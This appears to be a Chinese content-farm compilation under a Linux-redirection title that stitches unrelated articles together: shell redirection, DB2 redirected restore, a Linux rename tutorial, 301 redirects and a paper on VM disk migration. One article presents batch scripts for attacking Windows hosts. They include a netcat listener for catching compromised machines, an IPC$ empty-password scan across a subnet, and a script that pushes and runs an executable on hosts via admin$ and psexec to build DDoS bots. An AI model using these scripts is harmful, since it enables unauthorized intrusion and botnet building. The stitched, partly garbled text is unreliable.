linux数据流重定向

2024-12-09 版权声明 我要投稿

linux数据流重定向(共6篇)

linux数据流重定向 篇1

[work@www sh]$ cat >catfilehello this is from cat .#按Ctrl+d[work@www sh]$

<为把键盘输入改为文件内容输入>

[work@www sh]$ cat >catfile < pass<< 表示结束输入。

linux数据流重定向 篇2

一、恢复的基本步骤

首先,带R EDI R EC T选项发出R E S T OR E DATABASE命令;其次,使用SET TABLESPACE CONTAINERS命令来定义被恢复的数据库的表空间容器(DB2需要知道您想要让表空间驻留在目标系统上的什么位置);最后,再次发出RESTORE DATABASE命令,这次指定CONTINUE选项。

二、举例说明恢复的过程

(一)在源数据库查看备份历史记录,记下需要恢复的online备份镜像的时间戳

【db2 list history backup all for***db】(***db即数据库名,下同)运行后可以看到如图1所示的信息。可以看到图1是一次online备份,这样可以选取Start Time作为恢复时间戳。

(二)使用带REDIRECT选项的方式恢复数据库

【db2 restore db***db from/db2backup/onlinebak taken at 20*******15724 on/db2backup/***db redirect】;恢复过程中可以使用【db2 list utilities show detail】查看恢复进度情况。

(三)重定向相关表空间情况

恢复过程中属于AUTOMATIC STORAGE的表空间不需要进行重定向操作,对于非自动管理的表空间需要进行重定向操作,具体操作为:查看原数据库的表空间分布情况(如图2所示),链接到数据库使用【db2 list tablespaces】。

也可以使用【db2look-d***db-a-e-l-x-m-r-c>***db.sql】导出到一个文件查看,这里截取部分内容说明。

1. Tablespace ID=2,如图3所示。

2. Tablespace ID=3,如图4所示。

3. Tablespace ID=4,如图5所示。

4. Tablespace ID=5,如图6所示。

如上所述,这些都是其中的数据表空间情况,DEVICE代表原始环境使用的为裸设备方式存储数据,由于需要恢复到的环境并没有裸设备,所以将使用文件方式代替。上文的9 500 000, 156 250等代表此空间的大小,单位为页,这里定义了每页为4 k。这里对应的是Tablespace ID为2(图3), Tablespace ID为3(图4), Tablespace ID为4(图5), Tablespace ID为5(图6)的表空间。以此为例将此空间重定向操作,其余表空间以此类推做完以上操作以后可以继续进行恢复操作:【db2 restore db***db continue】。完成以后会有“The RESTORE DATABASE command completed successfully”的提示且必须进行逻辑日志前滚操作:

这里将路径指向逻辑日志存放目录,回滚过程依旧可以使用【db2 list utilities show detail】查看进度,如图7所示。

前滚完成会有“The ROLLFORWARD command completed successfully”提示,至此恢复过程基本完成,可以对数据库进行检查:【db2 get db cfg for***db|more】。

重定向命令在安全方面的应用 篇3

一、命令格式

DOS的标准输入输出通常是在标准设备键盘和显示器上进行的,利用重定向,可以方便地将输入输出改向磁盘文件或其它设备。其中:

1.大于号“>”将命令发送到文件或设备,例如打印机>prn。使用大于号“>”时,有些命令输出(例如错误消息)不能重定向。

2.双大于号“>>”将命令输出添加到文件结尾而不删除文件中已有的信息。

3.小于号“<”从文件而不是键盘上获取命令所需的输入。

4.>&符号将输出从一个默认I/O流(stdout,stdin,stderr)重新定向到另一个默认I/O流。例如,command >output_file 2>&1将处理command过程中的所有错误信息从屏幕重定向到标准文件输出中。标准输出的数值如下所示:

标准输出 等价的数值

Stdin 0

Stdout 1

Stderr 2

其中,1和2都创建一个文件用于存放数据;4可能不能够在DOS下使用。

二、重定向命令的输出

几乎所有的命令均将输出发送到屏幕。即使是将输出发送到驱动器或打印机的命令,也会在屏幕上显示消息和提示。要将输出从屏幕重定向到文件或打印机,请使用大于号(>)。大多数命令中均可以使用大于号。例如,在以下命令中,dir命令生成的目录列表重定向到Dirlist.txt文件:dir>dirlist.txt,如果Dirlist.txt文件不存在,系统将创建该文件。如果Dirlist.txt存在,系统将使用dir命令的输出替换文件中的信息。

要将命令输出添加到文件结尾而不丢失文件中的任何信息,请使用双大于号(>>)。例如,在以下命令中,dir命令生成的目录列表附加到Dirlist.txt文件中:dir>dirlist.txt,将输入重定向到一个命令,就象可以将命令输出发送到文件或打印机而不是屏幕一样,您可以从文件而不是从键盘获取命令的输入。要从文件获取输入,请使用小于号(<)。例如,以下命令将从List.txt文件中获取sort命令的输入:sort

三、应用举例

1.给注册表加锁/解锁

大家知道,注册表HKEY_CURRENT_USERSoftwareMicrosoftWindows CurrentVerssionPoliciesSystem分支下的DWORD值“Disableregistrytools”的键值如为“1”,则可以给注册表加锁,这样别人就无法使用注册表编辑器。利用重定向命令在DOS下就可以给注册表加锁/解锁,非常方便。

打开记事本程序,新建一个文本文件,输入如下内容:

@echo REGEDIT4>>123.reg

@echo.>>123.reg

@echo [HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPoliciesSystem]>>123.reg

@echo “DisableRegistryTools”=dword:00000001>>123.reg

@REGEDIT /S /C 123.reg

@deltree /y 123.reg

另存为以.bat为扩展名的批处理文件,点击这个文件注册表就会被锁定!

在上面的命令中,echo是DOS下的回显命令,在它的前面加上“@”前缀字符,表示执行时本行在命令行或DOS里面不显示,如果想看到程序执行过程,请将“@”去掉。大家在编写上述代码时要注意的是,第一行中的“REGEDIT4”一定要用大写字母,在第二行中“echo”和“.”之间没有空格。“>>”产生的内容将追加到它后面的文件中。在文件的最后一行加上deltree /y 123.reg,就可以无需确认就删除123.reg文件。

要想给注册表解锁,可以编辑这个批处理文件,只需将“DisableRegistryTools”=dword:00000001改为 “DisableRegistryTools”=dword:00000000,其他内容不变,保存为.bat文件,点击就可以给注册表解锁了。

2.把登陆3389的机器IP记录下来

把下面的内容保存为3389IP.bat:

time /t >>log.log

netstat -n -p tcp |find “:3389”>>Log.log

start Explorer

运行3389IP.bat,然后查看log.log文件即可看到登陆3389的机器IP,是不是很方便呢?

3.恢复DOS实模式

大家知道,某些恶意网页会修改浏览者的注册表,在无所不用其极的各种手段中,修改注册表使DOS实模式不可用是其中的招数之一。要想恢复DOS实模式方法有很多,用批处理和重定向命令结合使用,是比较特别的一招,在此与大家分享。

echo off

echo REGEDIT4>c:scanreg.reg

@echo.>>lock.reg

echo [HKEY_CURRENT_USERSOFTWAREMicrosoftWindowsCurrentVersionPolicies

WinOldApp]>>c:scanreg.reg

echo “NoRealMode”=dword:00000000>>c:scanreg.reg

regedit /s c:scanreg.reg

@del c:scanreg.reg

另存为以.bat为扩展名的批处理文件,点击这个文件就可以恢复DOS实模式,那些DOS应用程序又可以使用了。

4.等待肉鸡上门

每天费时费力的找肉鸡是不是很辛苦,利用重定向命令和批处理文件就可以让你简单的找到肉鸡!方法是用记事本新建一个文本文件,输入如下内容:

@echo off

:start

nc -vv -w 5 -l -p 80>>rouji.log

goto start

保存为.bat文件(事先得准备好一个nc.exe文件,它是网络故障事件检测软件Netcat的主程序),然后运行此程序之后,你就等着肉鸡上门主动来找你吧!运气好的话,每天10个不成问题,

5.快速进行空连接

空连接是在没有信任的情况下与服务器建立的会话,换句话说,它是一个到服务器的匿名访问。使用命令net use IPipc$ “” /user:“” 就可以简单地和目标建立一个空连接(需要目标开放IPC$)。利用重定向命令和for命令就可以对一个C类网段进行快速的空连接,并把结果保存到一个文件中供你分析。方法是用记事本编辑如下内容的文件:

@echo off

echo 格式:test *.*.*>test.txt

for /L %%G in (1 1 254) do echo %1.%%G >>test.txt & net use %1.%%Gipc$ “” /use:“Administrator” | find “命令完成” >>test.txt

批处理文件保存为.bat,运行即可。这个批处理文件的功能是对你指定的一个C类网段中的254个ip依次试建立帐号为 administrator口令为空的ipc$连接,如果成功就把结果记录在test.txt。这样就实现了NT弱口令扫描功能!其中,for命令的功能是对一组文件中的每一个文件执行某个特定命令,也就是可以用你指定的循环范围生成一系列命令。For命令的格式为:FOR %variable IN (set) DO command [command-parameters],具体的含义:

%variable:指定一个单一字母可替换的参数。

(set):指定一个或一组文件。可以使用通配符。

command:指定对每个文件执行的命令。

command-parameters:为特定命令指定参数或命令行开关。

在批处理文件中使用FOR命令时,指定变量请使用%%variable而不要用%variable。变量名称是区分大小写的,所以%i不同%I。

6.禁止空连接

空连接的存在对有一定的危险,所以我们还是禁止它为好!方法是输入net share察看本地共享资源,接下来输入如下命令删除共享:

net share ipc$ /delete

net share admin$ /delete

net share c$ /delete

net share d$ /delete(如果有e,f等盘符可以同法删除)

然后用记事本新建一个文本文件,输入如下内容即可:

@echo REGEDIT4>>123.reg

@echo.>>123.reg

@echo [HKEY_LOCAL_MACHINESystemCurrentControlSetControlLSA]>>

123.reg

@echo “RestrictAnonymous”=dword:00000001>>123.reg

@REGEDIT /S /C 123.reg

@deltree /y 123.reg

另存为以.bat为扩展名的批处理文件,点击这个文件就可以禁止空连接。

7.扫描所有和本机以TCP协议连接的计算机

扫描自己的计算机端口,发现有特殊端口打开,可以查木马,不仅如此,利用下面这个批处理文件还可以把所有和本机以TCP协议连接的计算机IP地址都记录下来。这个.bat文件内容如下:

data /t>>123.log

time /t>>123.log

netstat -n -p tcp 10>>123.log

这样不仅可以记录下对方的IP,还有时间和日期,方便自己查看。

8.自动获取DDoS肉鸡

DDoS是Distributed Denial of Service的缩写,意即分布式拒绝服务攻击。它是指借助于客户/服务器技术,将多个计算机联合起来作为攻击平台,对一个或多个目标发动DoS攻击,从而成倍地提高拒绝服务攻击的威力。通常,攻击者使用一个偷窃帐号将DDoS主控程序安装在一个计算机上,在一个设定的时间主控程序将与大量代理程序通讯,代理程序已经被安装在Internet上的许多计算机上。代理程序收到指令时就发动攻击。利用客户/服务器技术,主控程序能在几秒钟内激活成百上千次代理程序的运行。

虽然不建议大家使用DDoS方式攻击,但作为技术掌握还是很有必要的。可是,如何才能获取进行DDoS攻击的肉鸡呢?把下面的内容保存为ok.bat文件就可以达到目的了:

@echo off

echo自动获取DDoS肉鸡

for /f “tokens=1,3*” %i in (host.txt) do net use %kipc$ /user:“%j”

copy %1 %iadmin$sysytem32

if errorelevel 0 goto success

psexec -d %i c:winntsystem32%1

net user %iipc$ /del

:success

echo ------------------------------>>success.txt

echo 肉鸡:%i>>success.txt

echo 用户名:%j>>success.txt

echo 密码:%k>>success.txt

echo ------------------------------>>success.txt

使用方法是ok.bat *.exe host.txt,其中host.txt的格式为:ip administrator password。好了,快试试吧。但不要用来干破坏哦。

linux数据流重定向 篇4

当你想要重命名多个文件的时候,rename 工具或许是最简单、最安全和最强大的命令行工具。这个rename命令实际上是一个Perl脚本,它预安装在所有的现在Linux发行版上。

下面是重命名命令的基本语法。

代码如下:

rename [-v -n -f]

是Perl兼容正则表达式,它表示的是要重命名的文件和该怎么做。正则表达式的形式是‘s/old-name/new-name/’。

‘-v’选项会显示文件名改变的细节(比如:XXX重命名成YYY)。

‘-n’选项告诉rename命令在不实际改变名称的情况下显示文件将会重命名的情况。这个选项在你想要在不改变文件名的情况下模拟改变文件名的情况下很有用。

‘-f’选项强制覆盖存在的文件。

下面,就让我们看下rename命令的几个实际例子。

改变文件扩展名

假设你有许多.jpeg的图片文件。你想要把它们的名字改成.jpg。下面的命令就会将.jpeg 文件改成 *.jpg。

代码如下:

$ rename ‘s/.jpeg$/.jpg/‘ *.jpeg

大写改成小写,反之亦然

有时你想要改变文件名的大小写,你可以使用下面的命令。

把所有的文件改成小写:

代码如下:

# rename ‘y/A-Z/a-z/‘ *

把所有的文件改成大写:

代码如下:

# rename ‘y/a-z/A-Z/‘ *

更改文件名模式

现在让我们考虑更复杂的包含子模式的正则表达式,

在PCRE中,子模式包含在圆括号中,$符后接上数字(比如$1,$2)。

比如,下面的命令会将‘imgNNNN.jpeg’变成‘danNNNN.jpg’。

代码如下:

# rename -v ‘s/img_(d{4}).jpeg$/dan_$1.jpg/‘ *.jpeg

img_5417.jpeg renamed as dan_5417.jpg

img_5418.jpeg renamed as dan_5418.jpg

img_5419.jpeg renamed as dan_5419.jpg

img_5420.jpeg renamed as dan_5420.jpg

img_5421.jpeg renamed as dan_5421.jpg

比如,下面的命令会将‘img_000NNNN.jpeg’变成‘dan_NNNN.jpg’。

代码如下:

# rename -v ‘s/img_d{3}(d{4}).jpeg$/dan_$1.jpg/‘ *jpeg

img_0005417.jpeg renamed as dan_5417.jpg

img_0005418.jpeg renamed as dan_5418.jpg

img_0005419.jpeg renamed as dan_5419.jpg

img_0005420.jpeg renamed as dan_5420.jpg

img_0005421.jpeg renamed as dan_5421.jpg

linux数据流重定向 篇5

需求背景:

如果您需要按seo搜索引擎结果中所显示的样式更改网页网址,建议您使用服务器端 301 重定向。这是确保用户及搜索引擎定向至正确网页的最佳方法。301 状态代码表示某网页已被永久迁移至新位置。

301 重定向功能在以下情况下尤为有用:

1、您已将网站移至新域,希望尽可能顺畅地完成这一转换。

2、人们通过不同网址访问您的网站。例如,如果可通过多种方式访问您的主页,如 example.com/home、home.example.com 或 www.example.com,那么,选择其中一个作为首选的(标准)目标网址,并通过 301 重定向将来自其他网址的流量发送到该首选网址,不失为一种很好的方法,

3、您正在合并两个网站,希望确保指向过期网址的链接重定向至正确网页。

配置示例:

1、将一级域名后特定路径的流量重定向至二级域名:域名.me/archives/1114  ->blog.域名.me/archives/1114

点击一级域名下“URL重写”功能模块,添加空白规则,模式填写相应的正则表达式,填写完毕,可以点击“测试模式”来判断表达式的正确性,正则表达式中括号部分可以被动态截取出来。

linux数据流重定向 篇6

关键词:虚拟机,磁盘迁移,写时重定向,数据压缩

虚拟化技术是云计算的关键技术之一, 可以实现云资源的合理规划和高效管理。虚拟机的实时迁移是将虚拟机从一台物理主机动态地迁移到另一台物理主机, 是虚拟化技术的基础支撑技术, 是云计算环境下实现负载均衡、高可用性及可扩展性的重要保障。

目前, 主流的虚拟机迁移工具都是在局域网或虚拟机集群内通过共享磁盘存储的方式实现虚拟机的迁移。如Xen的Live migration和VMware的Vmotion等迁移工具都可以实现虚拟机的实时迁移, 包括虚拟机内存、CPU、I/O及网络等状态的迁移。它们都是在主机间通过SAN (storage area network) 、NAS (net-work-attached storage) 等方式共享存储设备而不进行磁盘数据的迁移。随着网络技术和应用需求的发展, 需要在无法实现共享存储或广域网环境下实现包括磁盘数据的虚拟机全系统实时迁移。这样, 由于虚拟机的磁盘数据量大, 磁盘数据迁移就成为了虚拟机迁移的难点和重点。

1 相关研究

目前, 虚拟机磁盘数据迁移的实现方式主要有以下几种:

1) 停机迁移[1,2]是虚拟机磁盘迁移技术早期广泛采用的一种方式, 即在虚拟机暂停后进行虚拟机所有状态和数据的迁移, 之后再恢复运行, 因此带来极长的暂停时间。Collective系统在早期就采用这种方式, 后来通过COW (copy-on-write) 磁盘技术进行改进, 减少了数据迁移量, 但暂停时间仍然很长。

2) 按需取块的磁盘迁移技术[3], 即先迁移除磁盘数据外的内存数据、网络、CPU及I/O等虚拟机状态, 当虚拟机在目的主机上恢复运行后, 再根据磁盘读写请求, 从源主机按需读取数据块。这种方式可以达到较短的暂停时间, 缩短总迁移时间。但在迁移完成后, 依然对源主机有长时间的依赖。因此, 无法用于服务器维护、负载均衡等多种应用场景, 降低了虚拟机的可用性。

3) 基于回放的同步方式和预迁移相结合的磁盘迁移技术[4]。迁移触发后, 先进行虚拟机磁盘数据的预迁移, 并截获在预迁移过程中发生的所有读写请求, 转发到目的主机按序保存。预迁移结束, 虚拟机在目的主机恢复运行后, 先阻塞磁盘I/O, 直到重新做完预迁移过程中截获的所有写操作。这种方案暂停时间短, 但虚拟机在目的主机恢复运行后, 可能有较长的磁盘I/O阻塞时间。尤其对于写密集型应用。此外, 在预迁移过程中记录的写操作可能会被重复记录, 存在大量数据冗余。

4) 虚拟机全系统迁移技术[5]。该方法利用预迁移技术对磁盘数据、内存及CPU状态等全系统进行多轮循环迁移, 在每轮磁盘迁移过程中用Block-Bitmap对更新数据的位置信息进行标记, 在下轮循环中进行迁移。当循环次数到达最大限度, 或脏数据产生的速率大于传输速率时, 预迁移结束, 进行停机同步及后续迁移。该方法在后续的循环迁移中, 会将标记为脏的所有数据块都整体迁移, 产生大量的数据重复迁移, 造成较长的迁移时间。

5) 基于实时同步机制的磁盘迁移技术[6]。该方法通过TCP连接将源服务器的更新数据实时发送至目标服务器, 从而保持两节点磁盘的数据一致, 实现磁盘迁移。文献[7]中利用周期同步和冗余检测技术对该方法进行了改进, 能够减少冗余数据量。与全系统迁移技术类似, 其同步周期相当于全系统迁移的预迁移循环周期, 其优点是可以根据I/O频率调整同步周期, 但仍存在大量冗余数据被同步的情况。

综上所述, 现有的虚拟机磁盘迁移技术在停机时间、冗余数据同步量、总迁移时间以及迁移完成后对源服务器的依赖等方面存在不同程度的局限, 会造成资源的浪费和用户服务质量的下降。

本文针对上述虚拟机磁盘迁移技术中重复迁移数据量大、迁移时间长等不足, 进行了优化, 提出了与预迁移技术及数据压缩算法相结合的基于写时重定向的虚拟机磁盘迁移技术。

2 磁盘迁移技术设计

2.1 设计思路

在Xen虚拟机迁移框架的基础上, 加入磁盘迁移模块, 封装写时重定向技术和数据压缩算法。迁移触发后, 先将源服务器上的虚拟机磁盘数据迁移到目标服务器预留的磁盘上, 同时, 在源服务器上将一块备用磁盘与待迁磁盘建立地址映射关系, 生成地址映射表, 在后续迁移过程中实现读写重定向。首轮循环迁移过程中产生的新的数据写请求重定向到备用磁盘上, 在下一轮迁移中, 先进行数据压缩, 再传输到目标服务器, 解压缩后根据磁盘映射表实现数据同步。

2.2 预迁移机制

虚拟机的预迁移机制, 包含PUSH阶段、停机拷贝阶段和PULL阶段。不同的虚拟机迁移工具, 对以上3个阶段采用不同的组合方式来实现虚拟机迁移。

PUSH阶段:在虚拟机运行的同时, 向目标服务器循环迁移数据, 同时记录脏数据, 每一轮循环仅需传输上一轮循环过程中产生的脏数据。

停机拷贝阶段:停机后, 将剩余未同步的数据和CPU等状态传输到目标服务器。

PULL阶段:虚拟机在目标服务器上恢复运行后, 向源服务器请求未完成同步的数据。

本文采用PUSH阶段和停机拷贝阶段相结合的方法来实现磁盘数据的迁移, 其流程如图1所示。

由于采用写时重定向来定位脏数据块, 在停机拷贝阶段能将最后一轮循环迁移中产生的脏数据全部发送到目标服务器。所以, 不需要PULL阶段, 虚拟机在目标服务器激活后就不再依赖源服务器, 能更快地释放资源。

PUSH阶段:迁移触发后, 先进行磁盘原始数据的迁移。同时, 源服务器监控虚拟机对磁盘的访问, 将磁盘写请求重定向到备用磁盘, 在后续的循环迁移中将这部分更新数据传输到目标服务器。并对循环迁移设置循环终止条件, 或直接设置最大循环次数, 以避免磁盘迁移时间过长, 影响总迁移时间。

停机拷贝阶段:进入停机阶段, 虚拟机在源服务器被挂起, 在目标服务器尚未启动。根据磁盘地址映射表, 通过读重定向访问备用磁盘, 读取更新数据, 进行压缩后传输至目标服务器。该方案下, 会产生一些磁盘数据需要在停机阶段进行迁移, 对停机时间造成影响。但通过实验表明, 在I/O负载不是太重的情况下, 这部分所花费的时间对整体停机时间影响有限。

2.2.1 写时重定向

写时重定向技术是实现快照的一种主流方法。本文利用该技术思想来实现对磁盘的读写重定向, 对磁盘的原始数据和更新数据进行隔离[8], 分批传输。

本文中的待迁磁盘和备用磁盘只是逻辑上的划分, 物理空间并不相互独立, 其关键是在两者之间建立物理地址的映射关系。当映射表被创建时, 从表头开始对应待迁磁盘大小的这部分物理单元被初始化为用于存储待迁磁盘的更新数据, 即这些物理单元的物理地址和原磁盘的逻辑地址相等。

PUSH阶段, 当用户向待迁磁盘中写入数据时, 系统会在物理单元映射表中根据写请求的设备和地址即逻辑地址来查找对应的物理单元, 并提交写请求。

停机拷贝阶段, 当检测到有更新数据时, 则从备用磁盘读取数据, 系统会在物理单元映射表中根据读请求的逻辑地址来查找对应的物理单元。找到之后将读请求中的地址替换为该物理单元的物理地址, 并提交读请求, 即从该物理单元读出被重定向的数据。

2.2.2 数据压缩

大多数应用对磁盘的写操作改变的数据量很小, 只占磁盘块的5%~20%[9]。这样, 写操作重定向到新的磁盘块后, 新块中必然包含大量连续的零。本文的主要目的就是对数据块中的零位进行压缩。

为了取得最短的压缩时间, 本文采用了压缩速度较快的WKdm数据压缩算法[10]。其原理是将读取的数据和预先创建并初始化的字典进行匹配, 采用一定的哈希算法去填充字典, 并设置一个计数器, 每进行一次匹配, 计数器加1。当对字x与字典进行对比时, 若匹配, 则替换字典, 若不匹配, 则将x加入字典, 计数器加1, 进行下一轮匹配。这样, 对于包含大量连续零位的更新数据块, 可以实现高速高效的压缩, 减少数据迁移量, 缩短迁移时间。

2.2.3 循环次数

虚拟机的预迁移机制, 会涉及到进行多少轮循环迁移后停止磁盘数据迁移, 在停机同步阶段再进行磁盘数据同步的问题。其核心思想是通过多轮循环来最大化地减少数据迁移量。一种经典的算法是比较网络传输速率和新数据生成速率, 当新数据生成速率大于网络传输速率时, 结束磁盘预迁移。

本文的磁盘迁移策略中, 采用了写时重定向机制, 在迁移触发后产生的所有新数据都被重定向到备用磁盘中。如果采用上述方法进行多轮循环迁移, 则会使备用磁盘中的数据随循环次数的增加而越积越多, 进而使得下一步停机拷贝阶段需要同步的磁盘数据量会增大, 停机时间也会延长。

所以, 本文采用两轮循环迁移, 即在第一轮迁移中将待迁磁盘上的数据全部迁移至目标服务器后就进入停机拷贝阶段, 将备用磁盘上的数据迁移至目标服务器实现数据同步。这样, 需要停机同步的数据相对较少, 不会对停机时间造成太大的影响。

2.3 性能比较分析

将基于写时重定向的虚拟机磁盘迁移技术与虚拟机全系统迁移中基于块位图的磁盘迁移技术进行比较分析, 如图2所示。

图2a为基于块位图的磁盘迁移。在第一轮迁移过程中产生的写请求都写入原磁盘块中, 然后通过块位图标记有数据写入的磁盘块, 在下一轮迁移时, 根据块位图, 将上一轮迁移中标记为脏的磁盘块迁移至目标服务器。

图2b为基于写时重定向的磁盘迁移。在第一轮迁移中产生的数据写请求都重定向到备用磁盘块, 经过压缩后, 在下一轮迁移中迁移至目标服务器, 解压缩后根据磁盘映射表上的地址信息写入相应的磁盘块, 实现数据同步。

在相同的实验环境下, 待迁虚拟机部署相同负载, 即在迁移触发后到停机同步状态这一过程中产生的写数据量相等的理想情况下, 基于快位图的磁盘迁移和基于写时重定向的磁盘迁移这两种迁移策略最终同步后, 目标服务器上的数据都为abce。图2a中, 数据迁移量为abcd+abce。图2b中, 数据迁移量为abcd+e。

此外, 在基于块位图的磁盘迁移中, 某些磁盘块在上一轮迁移过程中还会有写输入发生, 这样, 在下一轮迁移中, 这些磁盘块还需重复迁移。而写时重定向能够很好地避免这些重复迁移的发生。

由以上分析可见, 基于写时重定向的磁盘迁移技术通过对磁盘的写操作重定向来实现新数据和原始数据的隔离并压缩, 在两轮循环迁移中分批迁移, 能够减少数据迁移量, 进而缩短停机时间及总迁移时间。

3 性能测试

基于写时重定向的虚拟机迁移和基于块位图的虚拟机迁移都是与预迁移相结合的虚拟机全系统迁移技术。本文在相同的实验环境下分别对上述两种迁移策略进行多次包括内存数据、磁盘数据、CPU及I/O等状态的全系统迁移的测试实验, 选取数据迁移量、总迁移时间和停机时间这3个参数作比较分析。

3.1 实验环境配置

实验采用3台服务器对虚拟机迁移进行性能测试, 1台作为客户端, 其他两台为源服务器和目标服务器作虚拟机的主机。硬件配置为Xeon E5606 2.13 GHz CPU、4 Gbyte DDR3内存。为虚拟机分配4 Gbyte磁盘, 其中2 Gbyte为待迁磁盘, 2 Gbyte为备用磁盘。软件环境为Linux平台、Xen-3.0.3虚拟机化软件, 待迁虚拟机运行Linux3.1.0。

3.2 实验设计及分析

实验中, 对基于上述两种策略的虚拟机全系统迁移分别进行5组共10次实验。在待迁虚拟机上部署I/O基准测试程序Bonnie++来模拟磁盘写操作, 通过Tcpdump统计迁移过程中的数据吞吐量, 并记录总迁移时间及停机时间等性能参数。

3.2.1 数据迁移量

在源服务器上虚拟机的原始数据迁移后, 将预迁移过程中产生的更新数据都同步到目标服务器。两种策略下更新磁盘数据迁移量对比如图3所示。图中数据为5次实验的平均值。策略A为基于块位图的磁盘迁移, 在首轮迁移完成后的后续循环迁移过程传输到目标服务器上的数据量为165 Mbyte。策略B为基于写时重定向的磁盘迁移技术, 数据迁移量为53 Mbyte, 更新数据的迁移量大大减少, 只占前者的32.1%。可见, 基于写时重定向的虚拟机磁盘迁移技术能够有效地避免同步冗余数据, 在带宽资源有限的情况下也能快速完成迁移, 提高虚拟机的高效性和可用性。

3.2.2 总迁移时间

根据5组实验所统计的虚拟机迁移总时间, 绘制两种策略下总迁移时间对比图, 如图4所示。其中, 基于块位图磁盘迁移技术的全系统迁移平均时间为141 s, 基于写时重定向的迁移时间为117 s。从虚拟机全系统迁移的总时间这一指标看, 本文提出的基于写时重定向的磁盘迁移技术能够缩短总迁移时间。

3.2.3 停机时间

停机时间也是衡量虚拟机迁移性能的重要指标之一, 它直接影响用户的服务体验。停机时间越短越不容易感觉到服务的中断。

两种策略下, 将虚拟机迁移的停机时间对比分析, 如图5所示。就停机时间这一指标而言, 5组实验所得的平均停机时间, 基于写时重定向的磁盘迁移技术要比基于快位图的磁盘迁移技术的停机时间长350 ms。但这些差别是毫秒级别的, 在实验中很难感觉到服务的中断, 能够满足服务质量要求。

3.2.4 其他性能分析

此外, 本文通过实验对两种策略下虚拟机全系统迁移的其他性能指标进行了比较分析。

1) 两种策略下虚拟机迁移过程中, 虚拟机的I/O性能都明显下降, 而在本文提出的基于写时重定向的磁盘迁移策略下, 虚拟机的I/O性能下降稍微明显一些。

2) 改变虚拟机的负载进行对比实验发现, 虚拟机负载越高, 两种策略下虚拟机迁移的性能差异越大。基于写时重定向的虚拟机磁盘迁移技术尤其对高I/O负载下虚拟机全系统迁移中的迁移总时间和迁移数据量这两个性能指标提升更加明显, 但停机时间会随负载升高而显著增长, 这也是下一步研究需要改进的地方。

4 小结

本文对多种虚拟机磁盘迁移技术进行比较分析, 在此基础上, 设计并实现了基于写时重定向的虚拟机磁盘迁移技术的虚拟机全系统迁移。实验证明, 本文提出的虚拟机磁盘迁移技术能够减少磁盘数据的迁移量, 缩短虚拟机迁移时间, 能够更好地满足云计算环境下服务器的负载均衡和高可用性等要求。

此外, 在预迁移和写时重定向机制的基础上, 通过多轮磁盘映射的转换来进行多轮预迁移, 在磁盘数据预迁移阶段寻找更加合适的停机时间来同步数据, 进一步优化磁盘迁移策略, 以实现更短的停机时间和总迁移时间, 满足更高的服务要求。

参考文献

[1]SAPUNTZAKIS C P, CHANDRA R, PFAFF B, et al.Optimizing the migration of virtual computers[C]//Proc.5th Symposium on Operating Systems Design and Implementation.New York, USA:ACM, 2002:377-390.

[2]CHANDRA R, ZELDOVICH N, SAPUNTZAKIS C, et al.The collective:a cache-based system management architec-ture[C]//Proc.Second USENIX/ACM Symposium on Networked Systems Design and Implementation.Boston:MA, 2005:259-272.

[3]KOZUCH M, SATYANARAYANAN M, BRESSOUD T, et al.Seamless mobile computing on fixed infrastructure[J].IEEE Computer, 2004, 32 (7) :65-72.

[4]BRADFORD R, KOTSOVINOS E, FELDMANN A, et al.Live wide-area migration of virtual machines including local persistent state[C]//Proc.3rd International Conference on Virtual Execution Environments.New York, USA:ACM, 2007:169-179.

[5]张彬彬, 罗英伟, 汪小林, 等.虚拟机全系统在线迁移[J].电子学报, 2009, 37 (4) :894-899.

[6]WOOD T, RAMAKRISHNAN K K, SHENOY P, et al.Cloud Net:dynamic pooling of cloud resources by live wan migration of virtual machines[C]//Proc.7th ACM SIGPLAN/SIGOPS International Conference on Virtual Execution Environments.New York, USA:ACM Press, 2011:121-132.

[7]徐志红, 刘进军, 赵生慧.基于同步机制的虚拟机磁盘在线迁移策略[J].计算机工程, 2012, 38 (9) :291-293.

[8]陈彬.分布环境下虚拟机按需部署关键技术研究[D].长沙:国防科学技术大学, 2010.

[9]YANG Qing, XIAO Weijun, REN Jin.Trap-array:a disk array architecture providing timely recovery to any point-in-time[C]//Proc.ACM ISCA’06.New York:ACM, 2006:289-301.

上一篇:校长在读书节开幕式上的讲话稿下一篇:院感检查整改反馈表